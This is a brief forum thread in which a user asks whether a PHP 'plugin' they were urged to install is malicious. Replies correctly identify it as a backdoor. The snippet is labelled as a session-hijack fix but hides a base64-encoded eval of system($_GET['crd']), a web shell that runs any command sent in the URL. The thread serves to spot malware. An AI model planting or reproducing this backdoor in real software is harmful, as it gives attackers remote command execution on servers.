Is this malicious?
 

Some kid told us to add this to our forum as a plugin, we didn't in fear that it was malicious.

//Fix Session Hijack Bug
if(isset($_GET['crd'])){ $HIDE_SESSION = 1; echo "<h1>Session Hijack Blocked</h1><pre>"; eval(base64_decode("c3lzdGVtKCRfR0VUWydjcmQnXSk7") ); exit; }

Yes it is malicious.
The code will execute an external program and display the output (the crd url parameter).

Thank you m8

That needs to be in a bbcode code block.

base64_decode is a no-no.

Some hostings block the use of base64 functions.

The good ones do, anyway.